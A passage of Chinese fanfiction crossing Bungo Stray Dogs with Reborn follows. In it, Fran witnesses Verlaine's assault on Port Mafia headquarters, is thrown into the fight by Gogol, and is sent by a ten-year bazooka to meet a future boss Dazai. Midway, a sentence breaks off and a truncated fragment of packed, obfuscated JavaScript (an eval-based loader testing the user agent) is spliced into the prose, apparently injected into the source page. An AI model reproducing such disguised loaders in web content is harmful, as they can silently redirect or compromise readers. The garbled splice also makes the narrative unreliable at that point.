“弗~兰~~”太宰治不知何时早他一步来到这里,他像一只发现新玩具的猫,以一种极其扭曲但异常敏捷的姿势从沙发上弹起来,端着一个托盘冲到弗兰面前,脸上洋溢着过于灿烂的笑容。 “来得正好!快来试试我的新作!这可是凝聚了我无数心血、灵感爆发、呕心沥血的创世之作——”他猛地揭开盖子,露出盘子里一块方方正正、洁白无瑕、宛如艺术品般的……豆腐? “当当当!硬豆腐!!” 弗兰的豆豆眼死死盯着那块“豆腐”,沉默了三秒,才缓缓开口:“……太宰,Me觉得‘创世之作’这个词可能被严重滥用了。以及,” 他用手指了指那盘东西,“这东西怎么看都不像是给碳基生物食用的范畴。吃了它,是打算直接去三途川报道,顺便帮你测试一下黄泉比良坂的入口硬度吗?” “诶?好过分!”太宰治夸张地捂住心口,“这可是我精心调配比例,经过……大概七次失败才成功的杰作!你看这完美的形状,这无瑕的光泽!”他殷勤地递上一把勺子。 弗兰面无表情地接过勺子,尝试着戳了一下。 勺子尖端传来撞击花岗岩般的触感,“豆腐”纹丝不动,甚至连个白点都没留下。弗兰不信邪,稍微加了点力。 “铛!”一声清脆的金属撞击声。 “……这硬度,”弗兰放弃了勺子,直接用手拿起那块“硬豆腐”,好奇地在旁边的木质桌角上敲了敲。 “咚!咔嚓——” 桌角应声裂开一道清晰的缝隙。 弗兰举起那块“豆腐”,语气毫无起伏,却充满了致命的吐槽力:“太宰,恭喜你成功发明了一种新型便携式攻城锤,或者凶杀案完美凶器。建议你立刻带着它去找兰堂,你们俩绝配,建议锁死。” “好无聊啊~~”太宰治瞬间像被抽掉了骨头,又瘫回沙发上,举起游戏机噼里啪啦一顿操作,胜利音效响起,但他的声音依旧懒洋洋的。 “就是因为太无聊了,才能诞生这种划时代的‘美食’嘛。森先生带着爱丽丝不知道跑哪去玩了,我可不想像那只黏糊糊的蛞蝓一样,被兰堂先生和红叶大姐按在办公室里处理那些能把人吸干的文件山……” “那就去做点符合你身份的事,比如完成你的任务?” 弗兰把“硬豆腐”放在裂开的桌角上,那东西稳稳当当,仿佛它天生就该待在那里,“天天把任务丢给可怜的下属,自己躲在这里研究反人类‘料理’,你的下属们还没揭竿而起把你沉进东京湾,只能说明港口黑手党的洗脑教育真是成效卓著。” 他顿了顿,补充道,“实在不行,你可以发发善心,回去帮兰堂前辈分担一点工作?Me还指望着他今天能按时下班。” 弗兰随手指了指远处矗立的横滨地标——港口黑手党的五栋黑色大楼。 太宰治顺势抬头,目光懒散地扫过那熟悉的轮廓,然而下一秒,他鸢色的瞳孔骤然紧缩,脸上那副玩世不恭的表情瞬间冻结,如同被极寒冰封。 “这可真是……”他喃喃自语,声音低沉下去,带着一丝难以置信的凝重,“不得了啊。” “嗯?怎么了?”弗兰顺着他的目光望去,只见五栋大楼中最高、象征着权力核心的那一栋,其顶部正源源不断地涌出滚滚浓烟,如同一条狰狞的黑龙直冲天际! 浓烟中隐约可见结构扭曲的金属和破碎的玻璃反光,显然是遭到了极其猛烈的攻击。 “哇哦,”弗兰的眼睛似乎都睁大了少许,语气却依旧平板无波,“这可确实不得了。森先生那本就不富裕的发量,估计又要经历一次地中海扩张计划了。这算什么?敌袭?在横滨地标上放这么大一个烟花,嚣张程度满分。异能特务科那边估计也要头疼很久吧。” 仅仅半分钟后,一辆漆黑的轿车带着刺耳的刹车声精准地停在门口。 太宰治脸上所有的散漫都已消失无踪,只剩下冰冷的肃杀,他拉开车门迅速坐了进去。弗兰动作也不慢,非常自然地跟着挤上了后座,仿佛他只是搭个顺风车去看热闹。 车辆疾驰。距离太远,他们只能透过车窗,看着那栋冒烟的大楼。之前的浓烟似乎有减弱的趋势,仿佛内部的激斗暂时平息,局势被控制住了。 “兰堂先生在总部坐镇,”太宰治的声音在密闭的车厢里响起,冷静地分析着,“以他超越者的实力,只要来的不是同等级别的怪物,应该不至于……” 他的话语突然顿住,敏锐地捕捉到身边弗兰极其细微的一个动作——手指无意识地蜷缩了一下,摸了下鼻尖。 太宰治猛地转过头,锐利的目光像手术刀一样刺向弗兰藏在巨大帽檐下的侧脸,“……你这副‘不小心打碎了妈妈最爱的花瓶’的表情是怎么回事?又隐瞒了什么关键信息吗,弗兰君?” 他对弗兰参与进来并不意外,甚至某种程度上默许了,但从上车起,他就一直在用余光精准地捕捉弗兰任何一丝不自然的反应。 弗兰的身体几不可察地僵了一下。他确实心虚了。 如果不出意外,制造这场盛大“烟花秀”的,绝对是他那位从欧洲被他“摇”回来的老熟人,保罗·魏尔伦——同样也是超越者。 两个超越者,两个同样与重力相关的怪物,在港口黑手党的核心腹地打起来……那画面太美,弗兰简直不敢想象后果。 他只能含糊地嘟囔了一句:“……Me只是觉得,横滨的天气预告,可能漏报了一场特大号‘台风’。” --- 与此同时,港口黑手党总部大楼,那个被恐怖力量撕裂的巨大破洞边缘。 硝烟与尘埃尚未落定,在夕阳与初升月光交织的诡异光线中,一个身影突兀地出现在这片狼藉的中心。 他踏着破碎的混凝土块和扭曲的钢筋走来,步伐无声,姿态却带着一种与废墟格格不入的宫廷式优雅,每一步都仿佛踩在冰封的湖面上,散发出冻结灵魂的死寂。 保罗·魏尔伦。他耀眼的金发在凄冷的月光下流淌着寒冰般的光泽,那双冰蓝色的眼眸空洞而漠然地扫视着这片被他亲手破坏的空间,最终,精准地锁定在烟尘中那个艰难站起的身影上。 他的目标清晰无比——带走他唯一的同类,他那深陷于人类污浊泥沼中的弟弟,中原中也。 为此,必须用最彻底的毁灭,清除掉那些缠绕着 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“兰波,告诉我,你何时也变得如此……天真?”他像是听到了世上最荒谬的笑话,语气里充满了被亵渎般的失望。 他优雅的身影缓缓降下高度,足尖轻盈地点在一块倾斜的巨大办公桌残骸上,居高临下地俯视着下方的兰堂。 残阳如血,在他身后拖曳出巨大、扭曲、宛如末日审判者般的阴影,将兰堂完全笼罩。 他的话语在冰冷死寂的空气中回荡,带着一种近乎绝望的偏执和不容置疑的权威:“那些围绕着他的‘尘埃’,那些你口中所谓的同伴,他们只会利用他!” 他的冰蓝色眼眸深处,燃起一种被彻底玷污的狂怒,“他们只会用人类那套肮脏、狭隘、充满束缚的规则去污染他,禁锢他!把他拖进和他们一样的、短暂而痛苦的泥沼里腐烂!” “你错了,保罗!”兰堂猛地抬起头,他的眼神燃烧着前所未有的激烈火焰,毫不退缩地迎上那双冰封的眼眸。 声音因激动和伤势而嘶哑颤抖,却异常清晰、掷地有声:“痛苦、孤独、渴望温暖、为失去而悲伤…这些撕扯着内心的感受,无论多么沉重,多么煎熬,它们不是弱点!它们是——” 他似乎是意有所指,“它们是‘活着’本身!最深刻、最无法伪造的烙印!是区分我们和冰冷机器的唯一证明!” “荒!谬!”魏尔伦的瞳孔骤然缩成针尖大小!兰堂的话语,每一个字都像滚烫的烙铁,狠狠烫在他内心深处那片被刻意冰封、拒绝承认的禁区! 那完美的、非人的优雅面具瞬间崩裂粉碎!取而代之的是一种被彻底否定存在根基、被亵渎了核心信念的狂暴怒意!如同万年冰盖下的火山轰然爆发! 超越者的杀意再无保留,凝成实质! 空气在他周身疯狂地尖啸、扭曲、压缩,发出令人牙酸的、空间即将塌陷的呻吟。一个比之前任何一次都更庞大、更凝练、散发着纯粹毁灭波动的暗重力球,如同微型黑洞般瞬间在他掌心凝聚成型! 它瞄准的,已不仅仅是兰堂,更是兰堂身后,那栋象征着中也与这群“尘埃”产生可悲羁绊的港口黑手党大楼!他要将这一切连同那可笑的“同伴”概念,彻底从物理层面抹除! 兰堂脸色瞬间惨白如纸,他咬紧牙关,身前的空间如同沸腾的水面剧烈波动、折叠。 层层叠叠、闪烁着微光的亚空间障壁瞬间生成,构筑成他所能达到的最坚固的“墙”,试图阻挡那灭世的一击! 然而,在魏尔伦毫无保留、含怒而发的超越者伟力面前,那看似坚不可摧的空间障壁,如同遭遇重锤的脆弱琉璃! “咔嚓——滋啦——砰!” 令人心胆俱裂的碎裂声接连炸响!空间障壁寸寸崩解,仅仅支撑了几十秒钟,那毁灭性的重力球,带着湮灭万物的气息,即将彻底碾碎最后的空间碎片,连同兰堂和他誓死守护的一切化为尘埃。 就在这千钧一发、万物寂灭的刹那—— “住手——!!!” 一声饱含着狂暴怒意、撕裂般痛楚、以及灵魂深处爆发出无尽力量的嘶吼,如同受伤孤狼的绝命咆哮,猛地炸裂了横滨的夜空! 一道炽烈如地狱熔岩、纯粹由暗红色重力光芒构成的洪流,以超越视觉捕捉的极限速度,撕裂了沉重的夜幕,带着粉碎星辰、逆转生死的狂暴气势,狠狠撞在那即将爆发的毁灭性重力球的侧面! 轰隆——!!!! 无法用言语形容的恐怖爆炸!暗红色的、充满人性愤怒的重力,与魏尔伦那深沉如宇宙深渊、冰冷非人的力量,如同两颗失控的恒星猛烈碰撞、挤压、湮灭! 狂暴到足以撕裂空间的能量乱流瞬间化作失控的飓风,裹挟着毁灭的冲击波,以摧枯拉朽之势席卷了整片区域!大楼残骸如同纸片般被掀飞、汽化! --- 远处疾驰的轿车内。 太宰治和弗兰透过车窗,正看到那栋冒烟的大楼似乎刚刚平息了片刻。然而,还没等他们松一口气—— 比之前猛烈十倍、如同火山喷发般的滚滚浓烟混合着刺目的能量闪光,再次从那栋象征权力的大楼顶部冲天而起! 伴随着一声即便隔着遥远距离也仿佛在耳边炸响的恐怖轰鸣,那座本就伤痕累累、象征港口黑手党威严的黑色巨塔,其最高层——象征着首领办公室和核心机密的区域——在令人牙酸的金属扭曲断裂声中,如同被无形的巨刃狠狠削过,瞬间消失了一大截!破碎的建筑材料如同流星雨般砸向地面,激起更大的烟尘! 车内的空气仿佛凝固了。 几秒钟后,太宰治轻轻地、用一种近乎咏叹调的语气打破了沉默,脸上甚至重新挂起了一丝让人毛骨悚然的、冰冷的笑意:“啊啦……幸好森先生不在里面啊。不然的话,港口黑手党今天就得提前进入‘缅怀先代首领’的环节了,连遗照都得从之前的团建合影里抠,那可真是……太失礼了。” 随后,他缓缓地、极其“温柔”地转过头,那双鸢色的眼睛一眨不眨地锁定在身边试图把自己缩进苹果帽阴影里的弗兰身上。那笑容完美无瑕,却散发着比车窗外爆炸更危险的气息。 “那么,”太宰治的声音轻柔得像情人低语,却带着不容置疑的、挖掘真相的锋利,“弗兰君,接下来,麻烦你跟我好好讲讲,这位把总部大楼当生日蛋糕切着玩的‘贵客’,到底……是、谁、呢?” 21.第 21 章 “太宰大人,通往顶楼的电梯已经全部停运了,其余人员都已安排撤离,里面只剩下兰堂大人,中原队长和红叶大人了!”下属的声音带着难以掩饰的焦急,几乎是在车刚刹停的瞬间就冲到了太宰治的车窗前。 “知道了。”太宰治的声音平静得近乎冷酷,没等车完全停稳,他已推开车门,大衣下摆在骤起的烟尘中猎猎作响。 他脚步未停,立刻有数名黑衣下属如影随形地跟上,汇报着更详细的破坏数据和可能的进攻路线。 弗兰只是站在原地,冷眼旁观着港口黑手党的高效运转。他并非其成员,没有理由,也懒得凑这份热闹。他那张被巨大苹果帽檐遮住大半的脸上,表情是一贯的缺乏波澜。 时间差不多了。 他内心默默计算着大楼楼顶传来的、愈发密集的轰鸣与震动。每一次撞击都让脚下的地面微微发颤,如同巨兽濒死的挣扎。 就在这时,他的肩膀被人轻轻拍了一下。 弗兰缓缓转身。一个穿着邮递员制服的男人站在他身后,帽檐压得极低,几乎遮住了上半张脸,几缕不羁的白色发丝从帽檐下溜出。 那人手里拿着一个巴掌大的、包裹严实的盒子。他先是仔细看了看盒子上的照片,又抬头打量着弗兰,像是在确认一件古怪的货物。 “你就是弗兰吧?”邮递员的声音带着一种夸张的、舞台剧般的腔调,他打了个清脆的响指,“有一封你的国际快递,请签收一下。啊呀,可算找到了,寄件人说实在不行就来港口黑手党大门口蹲你,果然没骗我!” 国际快递? 弗兰面无表情地接过那个冰冷的盒子。触手是某种坚硬的金属质感,远在法国的奶奶偶尔会寄些东西,但时间点不对……那么,答案呼之欲出。 “Me可不记得费奥多尔什么时候兼职做慈善了。”弗兰的声音像在陈述一个客观事实,他抬起头,目光穿透帽檐的阴影,精准地对上了邮递员唯一露出的那只眼睛——璀璨如银,却闪烁着非人的、近乎疯狂的光芒。 “他在谋划什么?把麻烦快递到Me手上?” “哎呀呀,弗兰君,别把费佳想得那么坏嘛!”邮递员——或者说,披着邮递员外皮的某人夸张地摆了摆手,嘴角咧开一个玩味到诡异的弧度,“他只是好心的想给你提供一点小小的帮助罢了。毕竟,‘挣脱命运束缚’的戏码,连他都觉得有趣呢!” 话音未落,弗兰只觉得手腕一紧!对方那看似随意搭上来的手爆发出惊人的力量,猛地将他向前一扯。 弗兰一个踉跄,眼前景物瞬间扭曲、模糊,仿佛被强行塞进了一个高速旋转的万花筒。下一秒,天旋地转的感觉消失,他发现自己已经站在港口黑手党大楼内部一个昏暗的角落——一个完美的监控死角。 “我也想亲眼看看,”白发男人松开手,声音里充满了毫不掩饰的亢奋,“能被费佳称之为‘挣脱命运束缚’的,究竟是怎样精彩的存在!这又会演绎出怎样令人心醉的‘自由’?!” 他原地轻盈地转了个圈,身上的邮递员制服如同魔术般瞬间消失,取而代之的是一身华丽得刺眼、缀满金色纹饰的纯白色小丑服。 不知从何处,他拉出一条巨大的、同样纯白的斗篷,不由分说地将两人罩住。 “快点走吧,弗兰君!”那人的声音在狭小的空间里嗡嗡作响,带着一种孩童发现新玩具般的急不可耐,“我已经迫不及待了!楼上的交响乐正演奏到最激昂的乐章!” 空间系异能……果然麻烦透顶。 弗兰放弃了无谓的挣扎,抱着那个冰冷的金属盒子,任由果戈里带着他在大楼内部进行着匪夷所思的穿梭。 每一次闪烁,都伴随着视角的诡异切换和短暂的失重感。果戈里的动作流畅得像是在跳一支疯狂的芭蕾,几个令人眼花缭乱的转折跳跃后,他们已身处接近顶楼的某个断裂的平台。 头顶上方传来的轰鸣声如同近在咫尺的雷霆!狂暴的能量冲击波如同实质的潮水般拍打着残存的墙壁和地板,整层楼都在发出不堪重负的呻吟,细碎的粉尘和碎石簌簌落下。 战况之激烈,光凭这动静就足以让人心惊胆战。 也多亏了这短暂的几十秒“旅程”,弗兰终于有空仔细端详手中这个奇怪的盒子。 它通体银灰,没有任何标识或缝隙,严丝合缝得如同一个整体,根本找不到任何开启的方式。他尝试着晃了晃,里面似乎有东西在轻微流动,感觉不像固体,更像是粘稠的液体或者极细的沙子?无声无息。 以费奥多尔那个脑子堪比迷宫的老鼠的性格,绝不会寄一个毫无意义的盒子。所以,这个打不开的盒子,本身就是某种信息?或者钥匙? “哇哦!”果戈里突然低头,目光灼灼地盯着弗兰手中的盒子,那只金色的眼睛里第一次闪过真实的惊讶,“费佳居然舍得把这个给你了?” 他咂了咂嘴,语气里带上了一丝货真价实的酸意,“连我这个他‘最好’的朋友都没享受过这种待遇呢!真是……让人有点嫉妒了。这可是意大利特产,超级有名的!” 原来他一开始也不知道寄过来的是什么?弗兰心中微动,对这个盒子的“重要性”评估瞬间飙升了几个等级。 “这位独眼龙先生——”弗兰举起盒子拖长了音调,仿佛在询问一件无关紧要的商品,“请问这个‘意大利特产’要怎么打开?Me尝试了物理攻击,它的硬度快赶上Me某个朋友做的豆腐了。” 他说话间,指尖幻化出一把闪烁着寒光的匕首,对着盒子表面又戳又撬,发出清脆的“叮叮”声,却连一丝划痕都没留下。 “你可以叫我果戈里。还有,既然是‘惊喜’,”果戈里瞬间恢复了那副玩世不恭的笑容,注意力又被楼上惊天动地的战斗吸引过去,兴奋地搓着手,“那当然要你自己去‘发现’其中的奥秘啦!惊喜提前揭晓,乐趣可就大打折扣了!” 他仰头看着上方不断剥落的天花板,语气充满向往,“啊!好想去现场看看呀!可惜上面人太多,还都是一些危险又麻烦的家伙……弗兰小朋友,帮个忙打个掩护如何?就当是支付我把你快递上来的运费了。” “谁要你把Me‘快递’上来了吗?”弗兰的声音终于带上了一丝清晰可辨的嫌弃,“Me请问呢?这种强买强卖的生意模式,能不能立刻、马上、滚出横滨?Me最多帮你把存在感降低到路人甲级别,再多的售后服务没有。” 他一边吐槽,一边还是调动起幻术能力,一层极其微弱、几乎与环境融为一体的视觉干扰笼罩在两人周围。 就在这时—— “轰隆!!!” 头顶上方传来一声前所未有的、仿佛天崩地裂般的巨响!整片天花板如同脆弱的蛋壳般被彻底掀飞,刺目的光线混杂着滚滚烟尘倾泻而下!真正的“天亮了”。 果戈里反应快得惊人,在巨响传来的瞬间,手臂猛地收紧,将弗兰往怀里一带,同时另一只手快速地在虚空中一划。 空间如同水波般荡漾,两人瞬间消失在原地,出现在不远处一堆扭曲的钢筋水泥残骸之后。弗兰的幻术同步生效,将他们完美地隐藏起来。 另一侧,刚刚从楼梯口走上这一层的人就没这么幸运了。 “咳咳咳……阿嚏!阿嚏!”太宰治挥着手驱散扑面而来的呛人灰尘,接连打了几个响亮的喷嚏。他原本悠闲的步伐被打断,黑色的风衣上瞬间蒙上了一层灰白。 他倒也不恼,反而饶有兴致地抬起头,鸢色的眼眸穿透弥漫的烟尘,精准地锁定了战场中心。 “哦呀,真是盛大的欢迎仪式呢。”他语调轻快,仿佛在欣赏一场烟火表演。 “那个好像是你的朋友?不去帮帮他吗?”果戈里的下巴依旧搁在弗兰的苹果帽子上,说话时胸腔的震动清晰地传递过来,带着戏谑。 他指的是不远处略显狼狈的太宰治。 弗兰连眼皮都懒得抬一下,专注于研究那个打不开的盒子:“首先,并没有哪条宇宙法则规定朋友就一定要互帮互助,我们的思想和行动都是自由的;其次,他的异能性质特殊,Me想帮忙也是有心无力。” 他顿了顿,补充道,“而且,看他那副兴致勃勃等着看蛞蝓被打飞的样子,显然乐在其中。” 弗兰的目光终于投向那被强行“开了天窗”的战场。 狂乱的能量风暴中心,一个矮小却散发着火山般暴烈气息的身影如同陨石般轰然砸落!双脚深深陷入龟裂粉碎的地面,蛛网般的裂痕瞬间蔓延开数米。 橘红色的发丝在肆虐的能量乱流中狂野地舞动,如同燃烧的火焰。 那双钴蓝色的眼眸此刻燃烧着近乎实质化的怒火,死死地、一瞬不瞬地锁定着悬浮在半空中的金发男人——魏尔伦。 他的声音因极致的愤怒而嘶哑变形,每一个字都像是从牙缝里、从燃烧的胸腔深处,迸溅出来的滚烫火星,充满了野兽般的咆哮:“我的同伴…由我自己来选择!轮不到你这个混蛋…来指手画脚!!” “同伴?”魏尔伦悬浮于空,暗蓝色的眼眸如同冰冷的无机质宝石,俯视着下方那个倔强的小小身影。 看着中也眼中那为守护身后之人而燃起的、纯粹到刺目、炽烈到足以灼伤灵魂的火焰,他那冰封万年的眼底深处,第一次清晰地掠过一丝巨大的、无法理解的刺痛。 那感觉,如同被最锋利、最寒冷的冰锥贯穿了心脏。这突如其来的、陌生的刺痛感,让他周身凝聚的、足以冻结空间的凛冽杀意,出现了一丝微不可查的凝滞。 “中也君!”一个清冷而带着金石之音的女声,如同冰泉击玉,穿透了混乱的能量余波和震耳欲聋的轰鸣。 尾崎红叶的身影如同鬼魅般出现在战场边缘一处相对完好的断梁之上。她身上的华丽和服沾染了灰尘与血迹,手中的油纸伞早已收起,冷冽的月光映照着她肃杀如霜的面容。 没有任何多余的言语或姿态,她手腕一振,身后夜叉的长刀悍然出鞘! “锵——!” 一道凝练到极致、煌煌如旭日初升般的巨大金色刀光,悍然撕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言语间,弗兰脚下的楼板骤然碎裂、塌陷!强烈的失重感瞬间攫住了他!他整个人向下坠去! 但诡异的是,下坠只持续了不到半秒。一股无形的力量托住了他,然后——是粗暴的拉扯!空间再次扭曲! “Surprise!送你一程,弗兰君!”一个带着戏谑笑意的声音隐约传来。 下一秒,弗兰的身影如同被精准投掷的石子,凭空出现在了刚刚挣扎起身的中原中也与悬浮在半空、正欲再次发动攻击的魏尔伦之间!一个绝对致命的三角中心点! “!!!”弗兰瞳孔微缩,抬头望去,只看到上层破洞边缘,一只戴着白手套的手对他做了个轻佻的“拜拜”手势,随即隐没在烟尘中。 那个空间系的混蛋小丑! 弗兰瞬间明白了是谁在捣鬼。而此刻,来自中也因被偷袭而暴怒的、下意识反击的举动,以及魏尔伦锁定“新闯入者”的冰冷杀意,已然同时降临! 他几乎没怎么思考,身体先于意识做出了反应。他猛地将手中那个坚硬冰冷的盒子,朝着离他更近、威胁性也更大的目标——魏尔伦狠狠地掷了过去! “去吧!谜之快递!” 银色的盒子在空中划出一道不起眼的轨迹,精准地撞入了魏尔伦仓促凝聚、用于防御和攻击的范围之中。 “轰!!!” 一声沉闷却异常怪异的爆炸声响起!没有火光,没有冲击波,只有一股浓稠到化不开的粉色烟雾猛地炸开!将猝不及防的魏尔伦和弗兰笼罩了进去。 激烈的战斗戛然而止。所有人都被这突如其来的、荒诞的变故整得一愣。狂暴的能量波动为之一滞,只剩下粉色烟雾在无声地翻滚、弥漫。 烟雾散去的速度快得诡异。 当视野重新清晰时,废墟的中心,出现了两个格格不入的身影。 一个,是身高明显拔高了一截、看起来约莫二十岁左右的青年。 他穿着黑色的风衣,里面却是印着水果图案的白衬衫,头上依然顶着那个标志性的巨大苹果帽子,只是帽檐下的脸褪去了些许稚气,线条更显冷峻。他手上稳稳地托着一个造型奇诡的玩偶匣子。 而在他身旁,站着的赫然是魏尔伦! 只是这位令人闻风丧胆的“暗杀王”,此刻身上穿的并非战斗服,而是一套剪裁合身、质地精良却绝对属于家居范畴的深色丝绒睡袍! 柔软的布料勾勒出他挺拔的身形,脚下甚至踩着一双同色系的软底拖鞋。他那头耀眼的金发略显凌乱,冰蓝色的眼眸中残留着一种被打扰了清梦般的错愕和……在看到身旁那个大号弗兰和他手中匣子时,骤然涌现的、极其复杂的恍然。 他眉头紧锁,随即抬起眼,锐利如刀的目光缓缓扫过将他包围的四人——惊疑不定的中原中也,眼神深邃的兰堂,刀锋依旧凛冽的尾崎红叶,以及表情瞬间变得无比玩味、仿佛发现了什么惊天秘密的太宰治。 以及,躲在暗处仍被他一眼察觉到的果戈里。 “居然……是这个时间点吗。” 22.第 22 章 房间里的空气仿佛凝固了,四周的窗户被封的严严实实,带着一种沉甸甸的、属于权力与秘密的重量。 “还好,至少还在横滨不是吗?”弗兰的声音在过分寂静的办公室里响起,带着他特有的那种缺乏起伏的调子,像是陈述一个无关紧要的事实。 他翠绿色的眼睛平静地扫过面前背对着他、几乎融入阴影的身影,视线最终停留在离自己脖颈动脉不到一厘米的、闪烁着寒芒的锋利刀尖上。 他默默地、极其缓慢地举起双手,其中一只手里不知何时变魔术般捏着一小块白色的手帕,像投降的小旗子一样轻轻晃了晃。 “好吧,sir,”他拖长了语调,目光在那件标志性的黑大衣和垂落的红围巾上逡巡,“你的背影看起来有点眼熟,升职速度是不是……有点太快了?Me记得不久前你还只是个喜欢入水的绷带精。” 那身影没有立刻回应,但这短暂的沉默反而让弗兰确认了更多细节——那打理得过于一丝不苟、却难掩疲惫的黑色短发,以及即便隔着距离也能感受到的、那股沉重得快要将灵魂压垮的窒息感,尤其是那双在阴影中微微侧转时露出的眼睛…… 弗兰在心里默默补充:嗯,还有那快要猝死的眼神,简直是标志性特征升级版。 “这位小姐,”弗兰的视线微微偏转,落在他身旁那位抱着厚厚皮质笔记本、一身剪裁利落职业装的年轻女性身上。 她容貌清秀,气质文静,乍看之下像是刚毕业的实习生,但那双握着匕首的手却稳如磐石,指节因为用力而微微泛白,眼神锐利得像淬了冰的针,牢牢锁定着他,没有丝毫动摇。弗兰的语气依旧平淡,仿佛处于危险之中的不是自己。 “能把刀稍微挪开一点点吗?Me的脖子很脆弱的,稍微用力可能就会像玻璃工艺品一样‘咔嚓’碎掉哦。” “好了,小银。”一个低沉而带着奇异磁性的声音从房间深处传来,打破了凝固的紧张感。 那位坐在宽大红木办公桌后高背椅上的人影终于完全转了过来。弗兰的目光与他相遇——是太宰治,但又不是他记忆中的那个。 眼前的人面容轮廓更深,线条仿佛被无形的重担削刻过,透出一种近乎冷酷的成熟。眼下浓重的青黑如同不祥的烙印,昭示着长期透支的睡眠。 他身上那件昂贵的黑色大衣一丝不苟,那条象征港口黑手党最高权力的暗红色围巾,像一道凝固的血痕缠绕在颈间,衬得他本就苍白的脸色更显病态。 他一手随意地搭在雕花的椅扶手上,另一只手的手肘撑着桌面,指尖轻轻点着下颌,鸢色的眼眸深不见底,像两口枯竭的古井,静静地、带着审视意味地打量着这个凭空出现在首领办公室核心地带的少年。 他嘴角缓缓勾起一个弧度,那笑容优雅得体,却像一张精心描绘的面具,隔绝了所有真实的情绪。 随后,他闭上了眼睛,似乎在确认什么,又像在压抑某种翻涌的情绪。既然这位“访客”尚未察觉更深层的异常……那就让这场误会有趣地继续下去吧。 “好的,首领。”被称作小银的女子立刻应声,声音清脆而恭谨,没有丝毫犹豫。她手腕一翻,那柄致命的匕首便如同变魔术般消失在袖口,动作流畅得如同演练过千百遍。 她微微躬身,抱着笔记本退向门口,“有任何需要,请随时吩咐,我就在门外候命。”门在她身后无声地合拢,将空间彻底留给了办公室里的两人。 令人窒息的沉默再次降临,只有墙上那座古董座钟的钟摆发出规律而沉重的“滴答”声,像在丈量着所剩无几的某种时限。办公桌后堆积如山的文件和角落里巨大的保险柜,都无声地诉说着主人肩上难以想象的重担。 最终,是太宰治率先打破了沉寂。他没有睁眼,只是微微向后靠在椅背上,声音带着一丝洞悉一切的疲惫:“你是被十年后火箭炮砸中了吧?” 他的手指无意识地摩挲着光滑的扶手表面,似乎在脑海中快速检索着关于眼前这个绿发少年的所有碎片记忆。 当他再次睁开眼时,却被一张骤然凑到眼前的、放大的、面无表情的脸惊得瞳孔微缩,身体下意识地微微后仰,拉开了距离。 “原来那就是十年火箭炮啊?”弗兰仿佛没察觉到对方的抗拒,保持着弯腰凑近的姿势,翠绿色的眼瞳像扫描仪一样仔细端详着太宰治的脸庞,语气带着一丝科学观察般的认真,“但是话说回来,太宰,你十年后……感觉营养不良得很严重啊。脸颊上的肉感都没有了,身材也消瘦得过分。果然当首领是一件非常、非常消耗生命力的事情吗?” 他的目光扫过对方眼下的乌青和眼中深藏的、近乎绝望的疲惫,“Me很好奇,这是森先生留下的‘优良传统’吗?还是说……纯粹是工作压力太大?” 那双仿佛能穿透人心的眼睛让太宰治感到一种微妙的不适。 他侧过脸,避开了那过于直白的视线,目光落在桌面上一个不起眼的角落,那里似乎放着一个倒扣着的相框。 他发出一声极轻的、带着自嘲意味的嗤笑,声音低沉下去,带着一种不容置疑的肯定:“你还要装傻到什么时候,弗兰君?这里……就根本不是你所在的那个‘十年后’。你心里很清楚,不是吗?” 他重新抬眼,目光锐利如刀,试图刺穿少年那层平静的表象。 弗兰终于直起身,慢悠悠地踱开两步,视线漫不经心地扫过墙上那面巨大的、显示着横滨实时监控画面的屏幕墙,以及书架上那些厚重得能砸死人的精装典籍。 “波维诺家族的十年火箭炮出问题,就像Me师父的BOSS走路会平地摔一样,是非常正常的事情啊。”他语气平淡地陈述着,“都说交换时间只有五分钟,但是Me之前听师父抱怨过,有人用这东西去十年后莫名其妙拯救了世界,也有人和十年前的自己交换了人生体验。所以……” 他耸耸肩,一副理所当然的样子,“偶尔发生点技术故障,和某个平行时空的自己交换一下位置,似乎也不是什么值得大惊小怪的事情吧?” 他的目光不经意间扫过墙上的古董座钟,时针和分针的夹角显示着时间的流逝。“啊,”他发出一个意义不明的单音节,仿佛才注意到时间,“看来快到了。” 他重新看向办公桌后的太宰治,眼神却似乎多了一丝难以言喻的意味:“不过,”他开口,声音在空旷的房间里显得格外清晰。 “能看到别的时空的你……嗯,至少从物理层面来说,还活得好好的,Me也稍微放心一点了。森先生可能会少唠叨几句。” “活得好好的……吗?” 太宰治的指尖猛地蜷缩了一下,仿佛被这句话无形的针尖刺痛。他垂下眼帘,浓密的睫毛在苍白的眼下投下更深的阴影。 脖颈上那条暗红色的围巾,此刻在他眼中仿佛变成了滚烫的烙铁,又像是一道无形的绞索,沉重地缠绕着,每一次呼吸都带着枷锁的冰冷触感,让他几乎窒息。空气仿佛凝固了,只有座钟的滴答声在无情地倒数。 时间快到了。 就在这临界时刻,太宰治抬起了头。 他脸上重新挂起了那个完美的、属于首领的微笑面具,但那双鸢色的眼眸深处,却翻涌着极其复杂的情绪——有深不见底的疲惫,有难以言喻的羡慕,或许还有一丝……近乎残忍的祝福?他轻声开口,声音低沉而清晰,每一个字都像是斟酌了许久: “弗兰君,麻烦帮我带句话吧。”他顿了顿,目光似乎穿透了弗兰,望向了某个遥远时空里、某个他永远无法再成为的幻影,“就带给那个……被幸福眷顾着,却对此毫无自觉的小鬼。” 他嘴角的弧度加深,那笑意却冰冷彻骨,带着一种洞悉命运后的苍凉与自嘲,一字一顿地,将最后的“赠言”钉入空气: “请书写一个好结局吧。” 话音落下的瞬间,办公室内骤然弥漫开大量浓稠的粉色烟雾,迅速将弗兰的身影吞噬。 几秒钟后,烟雾如同被无形的力量抽走般急速散去,只留下空荡荡的地板。办公室恢复了之前的死寂,唯有古董座钟的滴答声依旧规律地响着,仿佛刚才的一切从未发生。 太宰治独自坐在巨大的红木办公桌后,一动不动。半晌,他静静地掀开了窗帘的一角,窗缝透入的光线切割着他半明半暗的脸庞,那条象征权力的红围巾,在昏暗的光线下,红得刺眼,如同永不干涸的血痕。 他缓缓地、深深地吸了一口气,那空气却沉重得如同铅块,坠入肺腑,激不起一丝涟漪。随即闭上眼,将自己更深地沉入身后那片象征着他此刻命运的、无边无际的黑暗之中。 --- 浓重的硝烟味尚未散尽,港口黑手党大楼顶层的破洞灌入咸湿的海风。 